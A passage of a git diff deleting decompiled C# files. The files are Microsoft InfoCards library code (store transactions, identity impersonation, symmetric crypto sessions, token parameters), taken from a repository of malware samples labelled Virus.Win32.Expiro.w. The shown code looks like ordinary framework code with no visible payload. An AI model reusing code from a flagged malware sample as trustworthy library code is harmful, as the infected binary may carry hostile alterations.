InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - if (!string.IsNullOrEmpty(row.SourceId)) - this.Save(row.SourceId, row); - else - this.Save(this.m_activeSource, row); - } - - public void Delete(string sourceId, DataRow row) - { - this.ThrowIfNotLoaded(); - if (row.InstanceId != this.m_instanceId) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreRowOwnedByOtherDataSource"))); - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).Delete(row); - } - - public void Delete(DataRow row) => this.Delete(row.SourceId, row); - - public void BeginTransaction() => this.BeginTransaction(this.m_activeSource); - - public void BeginTransaction(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(" sourceId ", (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).BeginTransaction(); - } - - public void CommitTransaction() => this.CommitTransaction(this.m_activeSource); - - public void CommitTransaction(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(" sourceId ", (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).CommitTransaction(); - } - - public void RollbackTransaction() => this.RollbackTransaction(this.m_activeSource); - - public void RollbackTransaction(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(" sourceId ", (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).RollbackTransaction(); - } - - protected virtual void CreateDefaultDataSources(Hashtable list) - { - string str = this.m_path + "CardSpace.db"; - using (new SystemIdentity(true)) - { - if (File.Exists(this.m_localSource)) - { - if (File.Exists(str)) - { - if (DateTime.Compare(File.GetLastWriteTime(str), File.GetLastWriteTime(this.m_localSource)) > 0) - { - File.Delete(this.m_localSource); - if (File.Exists(this.m_localSource + ".shadow")) - File.Delete(this.m_localSource + ".shadow"); - this.AtomicFileCopy(str, this.m_localSource); - } - } - } - else if (!File.Exists(this.m_localSource) && File.Exists(this.m_localSource + ".shadow")) - { - FileInfo fileInfo = new FileInfo(this.m_localSource + ".shadow"); - if (0L == fileInfo.Length) - fileInfo.Delete(); - } - else if (File.Exists(str)) - this.AtomicFileCopy(str, this.m_localSource); - else if (File.Exists(str + ".shadow")) - { - FileInfo fileInfo = new FileInfo(str + ".shadow"); - if (0L == fileInfo.Length) - fileInfo.Delete(); - else - this.AtomicFileCopy(str + ".shadow", this.m_localSource); - } - } - list.Add((object) this.m_localSource, (object) new FileDataSource(this.m_identity, this.m_localSource, this.m_instanceId, SecondaryIndexDefinition.MasterIndexes)); - } - - protected void AtomicFileCopy(string source, string destination) - { - if (!File.Exists(source)) - return; - File.Copy(source, source + ".atomic", true); - FileInfo fileInfo = new FileInfo(source + ".atomic"); - if (fileInfo.Length == 0L) - return; - fileInfo.MoveTo(destination); - } - - protected void Load() - { - InfoCardTrace.Assert(!this.m_isLoaded, "Store is already loaded"); - this.CreateDefaultDataSources(this.m_sources); - foreach (string key in (IEnumerable) this.m_sources.Keys) - { - if (!((DataSource) this.m_sources[(object) key]).IsLoaded) - { - bool flag = false; - try - { - ((DataSource) this.m_sources[(object) key]).Load(); - flag = true; - } - catch (CorruptStoreException ex) - { - ((DataSource) this.m_sources[(object) key]).Clear(); - } - catch (InvalidStoreProtectionKeyException ex) - { - ((DataSource) this.m_sources[(object) key]).Clear(); - } - if (!flag) - ((DataSource) this.m_sources[(object) key]).Load(); - } - } - this.m_isLoaded = true; - } - - protected void ThrowIfNotLoaded() => InfoCardTrace.Assert(this.m_isLoaded, "store is not loaded"); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SymmetricCryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SymmetricCryptoSession.cs deleted file mode 100644 index d47838b7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SymmetricCryptoSession.cs +++ /dev/null @@ -1,83 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SymmetricCryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class SymmetricCryptoSession : CryptoSession - { - private SymmetricAlgorithm m_alg; - - public SymmetricCryptoSession( - Process process, - DateTime expiration, - WindowsIdentity identity, - byte[] key) - : base(process, expiration, identity, (object) key, CryptoSession.SessionType.Symmetric) - { - this.m_alg = (SymmetricAlgorithm) new RijndaelManaged(); - this.m_alg.Key = key; - } - - protected override void OnDispose() - { - this.m_alg.Clear(); - this.m_alg.Dispose(); - this.m_alg = (SymmetricAlgorithm) null; - } - - protected override void OnWrite(BinaryWriter bwriter) - { - bwriter.Write(this.m_alg.KeySize); - bwriter.Write(this.m_alg.BlockSize); - bwriter.Write(this.m_alg.FeedbackSize); - } - - public byte[] GenerateDerivedKey( - string algorithmUri, - byte[] label, - byte[] nonce, - int derivedKeyLength, - int offset) - { - if (algorithmUri == "http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1" || algorithmUri == "http://docs.oasis-open.org/ws-sx/ws-secureconversation/200512/dk/p_sha1") - return new Psha1DerivedKeyGenerator(this.m_alg.Key).GenerateDerivedKey(label, nonce, derivedKeyLength, offset); - throw InfoCardTrace.ThrowHelperWarning((Exception) new InfoCardArgumentException(SR.GetString("ServiceUnsupportedKeyDerivationAlgorithm", (object) algorithmUri))); - } - - public TransformCryptoSession GetCryptoTransform( - CipherMode mode, - PaddingMode padding, - int feedbackSize, - SymmetricCryptoSession.Direction direction, - byte[] iv) - { - this.m_alg.Mode = mode; - this.m_alg.Padding = padding; - this.m_alg.IV = iv; - return new TransformCryptoSession(this.ProcessObj, this.Expiration, this.Identity, SymmetricCryptoSession.Direction.Encrypt != direction ? this.m_alg.CreateDecryptor() : this.m_alg.CreateEncryptor()); - } - - public HashCryptoSession GetKeyedHash() - { - KeyedHashAlgorithm hash = (KeyedHashAlgorithm) new HMACSHA1(this.m_alg.Key); - hash.Initialize(); - return new HashCryptoSession(this.ProcessObj, this.Expiration, this.Identity, hash); - } - - public enum Direction - { - Encrypt = 1, - Decrypt = 2, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SystemIdentity.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SystemIdentity.cs deleted file mode 100644 index 0deeb5a5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SystemIdentity.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SystemIdentity -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.Runtime.InteropServices; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal sealed class SystemIdentity : IDisposable - { - private bool m_isDisposed; - private WindowsIdentity m_identity; - private object m_sync; - public static readonly IdentityReference LsaIdentityReference = (IdentityReference) new SecurityIdentifier("SY"); - - public SystemIdentity(bool throwIfAlreadySystem) - { - this.m_sync = new object(); - WindowsIdentity current = WindowsIdentity.GetCurrent(); - if (current.IsSystem && throwIfAlreadySystem) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("UserIdentityEqualSystemNotSupported"))); - if (!current.IsSystem) - { - this.m_identity = current; - if (NativeMethods.RevertToSelf()) - return; - InfoCardTrace.Assert(false, "Identity management failure"); - } - else - InfoCardTrace.Assert(null == this.m_identity, "m_identity should be null when we are system and throwIfAlreadySystem == false"); - } - - void IDisposable.Dispose() - { - if (this.m_isDisposed) - return; - lock (this.m_sync) - { - if (this.m_isDisposed) - return; - this.m_isDisposed = true; - if (this.m_identity == null) - return; - if (!NativeMethods.ImpersonateLoggedOnUser(this.m_identity.Token)) - { - int forLastWin32Error = Marshal.GetHRForLastWin32Error(); - InfoCardTrace.FailFast(string.Format((IFormatProvider) CultureInfo.InvariantCulture, SR.GetString("StoreImpersonateLoggedOnUserFailed"), new object[1] - { - (object) forLastWin32Error - })); - } - this.m_identity.Dispose(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SystemShuttingDownException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SystemShuttingDownException.cs deleted file mode 100644 index 20e144c6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SystemShuttingDownException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SystemShuttingDownException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class SystemShuttingDownException : InfoCardBaseException - { - private const int HRESULT = -1073413873; - - public SystemShuttingDownException() - : base(-1073413873) - { - } - - public SystemShuttingDownException(string message) - : base(-1073413873, message) - { - } - - public SystemShuttingDownException(string message, Exception inner) - : base(-1073413873, message, inner) - { - } - - protected SystemShuttingDownException(SerializationInfo si, StreamingContext sc) - : base(-1073413873, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenCreationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenCreationException.cs deleted file mode 100644 index 870eda61..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenCreationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenCreationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class TokenCreationException : InfoCardBaseException - { - private const int HRESULT = -1073413872; - - public TokenCreationException() - : base(-1073413872) - { - } - - public TokenCreationException(string message) - : base(-1073413872, message) - { - } - - public TokenCreationException(string message, Exception inner) - : base(-1073413872, message, inner) - { - } - - protected TokenCreationException(SerializationInfo si, StreamingContext sc) - : base(-1073413872, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenCreationParameter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenCreationParameter.cs deleted file mode 100644 index e21ea5b6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenCreationParameter.cs +++ /dev/null @@ -1,349 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenCreationParameter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.Text; -using System.Xml; -using System.Xml.Serialization; - -namespace Microsoft.InfoCards -{ - internal class TokenCreationParameter : IXmlSerializable - { - private TokenFactoryCredentialType m_credentialType; - private EndpointAddress m_epr; - private string m_hint; - private Dictionary m_selectorMap; - - public TokenCreationParameter() => this.m_selectorMap = new Dictionary(); - - public TokenFactoryCredentialType CredentialType - { - get => this.m_credentialType; - set => this.m_credentialType = value; - } - - public EndpointAddress Epr - { - get => this.m_epr; - set => this.m_epr = value; - } - - public Dictionary CredentialSelectors => this.m_selectorMap; - - public bool IsComplete() - { - if ((EndpointAddress) null == this.m_epr) - return false; - bool flag = true; - if (this.m_credentialType == TokenFactoryCredentialType.X509CertificateCredential || this.m_credentialType == TokenFactoryCredentialType.SelfIssuedCredential) - flag = flag && this.m_selectorMap.Count > 0; - return flag; - } - - public void ThrowIfNotComplete() - { - if (!this.IsComplete()) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public void Serialize(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - writer.Write((int) this.m_credentialType); - Utility.SerializeString(writer, this.m_hint); - Utility.SerializeString(writer, TokenCreationParameter.CreateEprXmlString(this.m_epr)); - writer.Write(this.m_selectorMap.Count); - if (this.m_selectorMap.Count <= 0) - return; - foreach (CredentialSelector credentialSelector in this.m_selectorMap.Values) - credentialSelector.Serialize(writer); - } - - public void Deserialize(BinaryReader reader) - { - TokenFactoryCredentialType factoryCredentialType = (TokenFactoryCredentialType) reader.ReadInt32(); - string str = Utility.DeserializeString(reader); - EndpointAddress eprFromString = TokenCreationParameter.CreateEprFromString(Utility.DeserializeString(reader)); - int num = reader.ReadInt32(); - Dictionary dictionary = new Dictionary(); - for (int index = 0; index < num; ++index) - { - CredentialSelector credentialSelector = new CredentialSelector(); - credentialSelector.Deserialize(reader); - dictionary.Add(credentialSelector.Type, credentialSelector); - } - this.m_credentialType = factoryCredentialType; - this.m_epr = eprFromString; - this.m_selectorMap = dictionary; - this.m_hint = str; - this.ThrowIfNotComplete(); - } - - private static EndpointAddress CreateEprFromString(string value) - { - using (MemoryStream input = new MemoryStream(Encoding.UTF8.GetBytes(value))) - { - using (XmlDictionaryReader readerWithQuotas = Utility.CreateReaderWithQuotas((Stream) input)) - { - try - { - return EndpointAddress.ReadFrom(readerWithQuotas); - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidCredentialSelector"), ex)); - throw; - } - } - } - } - - private static string CreateEprXmlString(EndpointAddress address) - { - using (MemoryStream w = new MemoryStream()) - { - using (XmlWriter writer = (XmlWriter) new XmlTextWriter((Stream) w, Encoding.Unicode)) - { - address.WriteTo(AddressingVersion.WSAddressing10, writer); - writer.Flush(); - w.Flush(); - return Encoding.Unicode.GetString(w.GetBuffer(), 2, Convert.ToInt32(w.Length - 2L)); - } - } - } - - public System.Xml.Schema.XmlSchema GetSchema() => (System.Xml.Schema.XmlSchema) null; - - public void WriteXml(XmlWriter writer) - { - if (writer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (writer)); - InfoCardTrace.ThrowInvalidArgumentConditional(!this.IsComplete(), "IsComplete"); - writer.WriteStartElement("TokenService", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.m_epr.WriteTo(AddressingVersion.WSAddressing10, writer); - writer.WriteStartElement("UserCredential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (!string.IsNullOrEmpty(this.m_hint)) - { - writer.WriteStartElement("DisplayCredentialHint", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.m_hint); - writer.WriteEndElement(); - } - switch (this.m_credentialType) - { - case TokenFactoryCredentialType.UserNamePasswordCredential: - this.WriteUserNameCredential(writer); - break; - case TokenFactoryCredentialType.SelfIssuedCredential: - this.WriteSelfIssuedCredential(writer); - break; - case TokenFactoryCredentialType.X509CertificateCredential: - this.WriteX509CertificateCredential(writer); - break; - case TokenFactoryCredentialType.KerberosCredential: - this.WriteKerberosCredential(writer); - break; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, "CredentialType"); - break; - } - writer.WriteEndElement(); - writer.WriteEndElement(); - } - - public void WriteUserNameCredential(XmlWriter writer) - { - writer.WriteStartElement("UsernamePasswordCredential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (this.m_selectorMap.ContainsKey(CredentialSelectorType.UserNameSelector)) - this.m_selectorMap[CredentialSelectorType.UserNameSelector].WriteXml(writer); - writer.WriteEndElement(); - } - - public void WriteKerberosCredential(XmlWriter writer) - { - writer.WriteStartElement("KerberosV5Credential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteEndElement(); - } - - public void WriteSelfIssuedCredential(XmlWriter writer) - { - writer.WriteStartElement("SelfIssuedCredential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (this.m_selectorMap.ContainsKey(CredentialSelectorType.SelfIssuedCardIdSelector)) - this.m_selectorMap[CredentialSelectorType.SelfIssuedCardIdSelector].WriteXml(writer); - writer.WriteEndElement(); - } - - public void WriteX509CertificateCredential(XmlWriter writer) - { - writer.WriteStartElement("X509V3Credential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (this.m_selectorMap.ContainsKey(CredentialSelectorType.X509CertificateIssuerNameSelector) && this.m_selectorMap.ContainsKey(CredentialSelectorType.X509CertificateIssuerSerialNoSelector)) - { - writer.WriteStartElement("X509Data", "http://www.w3.org/2000/09/xmldsig#"); - writer.WriteStartElement("X509IssuerSerial", "http://www.w3.org/2000/09/xmldsig#"); - this.m_selectorMap[CredentialSelectorType.X509CertificateIssuerNameSelector].WriteXml(writer); - this.m_selectorMap[CredentialSelectorType.X509CertificateIssuerSerialNoSelector].WriteXml(writer); - writer.WriteEndElement(); - writer.WriteEndElement(); - } - else if (this.m_selectorMap.ContainsKey(CredentialSelectorType.X509CertificateKeyHashSelector)) - { - writer.WriteStartElement("X509Data", "http://www.w3.org/2000/09/xmldsig#"); - this.m_selectorMap[CredentialSelectorType.X509CertificateKeyHashSelector].WriteXml(writer); - writer.WriteEndElement(); - } - writer.WriteEndElement(); - } - - public void ReadXml(XmlReader reader) - { - if (!reader.IsStartElement("TokenService", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - reader.ReadStartElement(); - if (!(reader.LocalName == "EndpointReference")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidCredentialSelector"))); - try - { - this.m_epr = EndpointAddress.ReadFrom(XmlDictionaryReader.CreateDictionaryReader(reader)); - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidCredentialSelector"), ex)); - throw; - } - if ((EndpointAddress) null != this.m_epr && (EndpointAddress) null == Utility.DeriveMexAddress(this.m_epr)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceEprDoesNotHaveValidMetadata"))); - if (reader.LocalName == "UserCredential") - reader.ReadStartElement(); - if (reader.LocalName == "DisplayCredentialHint") - this.m_hint = this.ReadDisplayCredentialHint(reader); - switch (reader.LocalName) - { - case "UsernamePasswordCredential": - this.CredentialType = TokenFactoryCredentialType.UserNamePasswordCredential; - if (!reader.IsEmptyElement) - { - while (reader.Read() && (!(reader.LocalName == "UsernamePasswordCredential") || reader.NodeType != XmlNodeType.EndElement)) - { - if (reader.LocalName == "Username") - { - CredentialSelector credentialSelector = new CredentialSelector(); - credentialSelector.ReadXml(reader); - if (credentialSelector.IsComplete()) - { - this.CredentialSelectors.Add(credentialSelector.Type, credentialSelector); - break; - } - break; - } - } - break; - } - reader.ReadStartElement(); - break; - case "KerberosV5Credential": - this.CredentialType = TokenFactoryCredentialType.KerberosCredential; - if (!reader.IsEmptyElement) - { - while (reader.Read() && (!(reader.LocalName == "KerberosV5Credential") || reader.NodeType != XmlNodeType.EndElement)) - { - if (reader.LocalName == "UserPrincipalName") - { - CredentialSelector credentialSelector = new CredentialSelector(); - credentialSelector.ReadXml(reader); - if (credentialSelector.IsComplete()) - { - this.CredentialSelectors.Add(credentialSelector.Type, credentialSelector); - break; - } - break; - } - } - break; - } - reader.ReadStartElement(); - break; - case "SelfIssuedCredential": - this.CredentialType = TokenFactoryCredentialType.SelfIssuedCredential; - reader.ReadStartElement(); - CredentialSelector credentialSelector1 = new CredentialSelector(); - credentialSelector1.ReadXml(reader); - if (credentialSelector1.IsComplete()) - this.CredentialSelectors.Add(credentialSelector1.Type, credentialSelector1); - reader.ReadEndElement(); - break; - case "X509V3Credential": - this.CredentialType = TokenFactoryCredentialType.X509CertificateCredential; - this.ReadX509V3CredentialElement(reader); - reader.ReadEndElement(); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("NoAuthenticationServicesInCard"))); - } - reader.ReadEndElement(); - } - - public string ReadDisplayCredentialHint(XmlReader reader) => reader.IsStartElement("DisplayCredentialHint", "http://schemas.xmlsoap.org/ws/2005/05/identity") ? reader.ReadElementContentAsString().Trim() : throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - - private void ReadX509V3CredentialElement(XmlReader reader) - { - if (!reader.IsStartElement("X509V3Credential", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - reader.ReadStartElement(); - if (!("http://www.w3.org/2000/09/xmldsig#" == reader.NamespaceURI) || !("X509Data" == reader.LocalName)) - return; - while (reader.Read()) - { - if (reader.IsStartElement("X509IssuerSerial", "http://www.w3.org/2000/09/xmldsig#")) - { - reader.ReadStartElement(); - CredentialSelector credentialSelector1 = new CredentialSelector(); - credentialSelector1.ReadXml(reader); - CredentialSelector credentialSelector2 = new CredentialSelector(); - credentialSelector2.ReadXml(reader); - if (credentialSelector2.IsComplete() && credentialSelector1.IsComplete()) - { - this.CredentialSelectors.Add(credentialSelector1.Type, credentialSelector1); - this.CredentialSelectors.Add(credentialSelector2.Type, credentialSelector2); - } - reader.ReadEndElement(); - break; - } - if (reader.IsStartElement("KeyIdentifier", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd")) - { - CredentialSelector credentialSelector = new CredentialSelector(); - credentialSelector.ReadXml(reader); - if (credentialSelector.IsComplete()) - { - this.CredentialSelectors.Add(credentialSelector.Type, credentialSelector); - break; - } - break; - } - } - while (!("X509Data" == reader.LocalName) || !("http://www.w3.org/2000/09/xmldsig#" == reader.NamespaceURI) || XmlNodeType.EndElement != reader.NodeType) - { - if (!reader.Read()) - return; - } - reader.ReadEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenDescriptor.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenDescriptor.cs deleted file mode 100644 index d050e606..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenDescriptor.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenDescriptor -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IO; -using System.Security.Cryptography; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class TokenDescriptor : IDisposable - { - private string m_tokenId; - private DateTime m_effectiveTime; - private DateTime m_expirationTime; - private XmlElement m_protectedToken; - private DisplayToken m_displayToken; - private SymmetricAlgorithm m_symmetricProof; - private string m_internalTokenReference; - private string m_externalTokenReference; - private List m_disclosedClaims; - private bool m_disposed; - private object m_sync; - - public TokenDescriptor( - string tokenId, - DateTime effectiveTime, - DateTime expirationTime, - XmlElement protectedToken, - DisplayToken displayToken, - SymmetricAlgorithm symmetricProof, - string internalTokenReference, - string externalTokenReference, - IEnumerable disclosedClaims) - { - this.m_sync = new object(); - this.m_tokenId = tokenId; - this.m_effectiveTime = effectiveTime; - this.m_expirationTime = expirationTime; - this.m_protectedToken = protectedToken; - this.m_displayToken = displayToken; - this.m_symmetricProof = symmetricProof; - this.m_internalTokenReference = internalTokenReference; - this.m_externalTokenReference = externalTokenReference; - this.m_disclosedClaims = new List(disclosedClaims); - } - - public ReadOnlyCollection DisclosedClaims => this.m_disclosedClaims.AsReadOnly(); - - public string TokenId => this.m_tokenId; - - public DateTime EffectiveTime => this.m_effectiveTime; - - public DateTime ExpirationTime => this.m_expirationTime; - - public string InternalTokenReference => this.m_internalTokenReference; - - public string ExternalTokenReference => this.m_externalTokenReference; - - public XmlElement ProtectedToken => this.m_protectedToken; - - public DisplayToken DisplayToken => this.m_displayToken; - - public SymmetricAlgorithm SymmetricProof => this.m_symmetricProof; - - public void Write(BinaryWriter bwriter) - { - bwriter.Write(this.m_effectiveTime.ToFileTimeUtc()); - bwriter.Write(this.m_expirationTime.ToFileTimeUtc()); - Utility.SerializeString(bwriter, this.m_protectedToken.OuterXml); - Utility.SerializeString(bwriter, this.m_internalTokenReference); - Utility.SerializeString(bwriter, this.m_externalTokenReference); - } - - public void Dispose() - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - this.m_disposed = true; - if (this.m_symmetricProof != null) - { - this.m_symmetricProof.Dispose(); - this.m_symmetricProof = (SymmetricAlgorithm) null; - } - this.m_protectedToken = (XmlElement) null; - this.m_expirationTime = DateTime.MinValue; - this.m_effectiveTime = DateTime.MinValue; - this.m_tokenId = (string) null; - this.m_externalTokenReference = (string) null; - this.m_internalTokenReference = (string) null; - this.m_disclosedClaims = (List) null; - this.m_displayToken = (DisplayToken) null; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenFactoryBase.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenFactoryBase.cs deleted file mode 100644 index 21beacc2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenFactoryBase.cs +++ /dev/null @@ -1,44 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenFactoryBase -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 